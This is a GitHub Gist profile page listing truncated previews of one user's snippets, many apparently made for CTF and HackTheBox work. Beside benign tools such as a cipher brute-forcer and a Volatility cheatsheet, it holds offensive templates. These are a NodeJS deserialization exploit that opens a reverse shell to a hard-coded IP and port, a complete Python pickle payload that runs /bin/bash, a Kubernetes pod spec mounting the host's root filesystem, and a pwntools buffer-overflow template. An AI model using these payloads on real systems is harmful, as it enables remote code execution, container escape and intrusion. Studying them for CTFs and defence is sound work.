Skip to content

Instantly share code, notes, and snippets.

View Reelix's full-sized avatar
🏠
Working from home

Reelix Reelix

🏠
Working from home
View GitHub Profile
@Reelix
Reelix / brute.cs
Created November 17, 2022 20:20
Brute Force Numerical Cryptography Ciphertext
static void Main(string[] args)
{
Console.WriteLine("Input path to numerical ciphertext.");
string path = Console.ReadLine();
string input = File.ReadAllText(path);
int[] intList = input.Split(' ').Select(int.Parse).ToArray();
int intListLength = intList.Length;
StringBuilder final = new StringBuilder();
for (int n = 1; n < 100000; n++)
{
@Reelix
Reelix / volatility-cheatsheet.txt
Created September 9, 2022 18:56
Reelix's Volatility Cheatsheet
0.) Update: https://www.volatilityfoundation.org/releases
1.) General analysis (Mainly used to get Profiles)
- volatility.exe -f file.raw imageinfo
Eg: Suggested Profile(s) : Win7SP1x64, WinXPSP2x86, WinXPSP3x86
2.) List Processes
- volatility.exe -f file.raw --profile=ProfileFromAbove pslist
@Reelix
Reelix / rootpod.yaml
Created September 29, 2021 14:37
A yaml file for creating a pod on Kubernetes that mounts the hosts /
apiVersion: v1
kind: Pod
metadata:
name: rootpod
spec:
containers:
- name: rootpod
image: nginx # Pull from an existing pod
imagePullPolicy: IfNotPresent
volumeMounts:
@Reelix
Reelix / sploit.py
Last active August 9, 2022 21:42
Reelix's Buffer Overflow Template (Linux)
from pwn import *
### Change These ###
file_name = "./file.elf"
offset_loc = 48 # Buffer Overflow Val -> cyclic_find(b'kaaalaaa', n=4) # Buffer Overflow Val = RBP
isremote = True # Local or SSH?
### Uncomment + Change if local ###
# libc = ELF(''/lib/x86_64-linux-gnu/libc-2.27.so') # gdb ./file -> break main -> run -> info proc map
@Reelix
Reelix / genericdb.php
Last active June 26, 2022 04:22
A simple PHP script to test for multiple DB connections in PHP
<?php
// File created by Reelix (HTB: Reelix)
// Enter your Host, username, password, database below.
$host = "localhost";
$dbuser = "dbusername";
$dbpass = "dbpassword";
$db = "";
$query = "";
if (isset($_GET["db"]))
@Reelix
Reelix / NodeJS.js
Last active October 11, 2021 14:34
NodeJS Deserialization Exploit (Reverse Shell)
// Step 1
// Use the following Code - Change the HOST / PORT as you need
// Modified from: https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
var net = require('net');
var spawn = require('child_process').spawn;
HOST="10.2.26.203";
PORT="9001";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
var client = new net.Socket();
@Reelix
Reelix / rextrtact.py
Created September 24, 2021 10:38
Badly Coded Multi Extract Solver For CTF Challenges
#!/bin/python3
import os, sys
# Argument
file = sys.argv[1]
print("Processing " + file)
filetype = os.popen('file ' + file).read()
print("Type: " + filetype)
@Reelix
Reelix / pypickle.py
Last active September 22, 2021 16:56
Python2+3 Pickle Deserialization Exploit
# Ref: https://davidhamann.de/2020/04/05/exploiting-python-pickle/
# Ref: https://frichetten.com/blog/escalating-deserialization-attacks-python/
# Note: Do not have a file in the directory named pickle.py or this will crash
import os
import pickle
import base64
class PickleSploit(object):
def __reduce__(self):
return (os.system, ('/bin/bash', ))
pickled = pickle.dumps(PickleSploit())
/* Gist Embed - Dark Theme Styling - Thanks to MattD */
/* Body */
.gist-data tbody { background-color: Black; }
/* Line Numbers */
.gist-data tbody td:nth-of-type(1) {
color: #2B91AF !important;
}
@Reelix
Reelix / Viewer.cs
Created January 9, 2019 08:02
C# Torchlight 1 Save Game Viewer
internal class Program
{
private static void Main(string[] args)
{
// https://code.google.com/archive/p/torchtools/wikis/TorchlightFileSpec.wiki
Console.Title = "Reelix's TL1 Save Game Viewer";
byte[] fileBytes = File.ReadAllBytes(@"C:\Users\Reelix\AppData\Roaming\runic games\torchlight\save\0.SVT");
// Remove first 4 - Unsure
fileBytes = RemoveFirstBytes(fileBytes, 4);